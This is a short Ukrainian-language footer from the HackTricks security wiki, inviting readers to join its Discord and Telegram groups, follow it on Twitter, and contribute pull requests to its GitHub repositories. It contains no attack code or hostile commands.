* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
2022-04-28 16:01:33 +00:00
</details>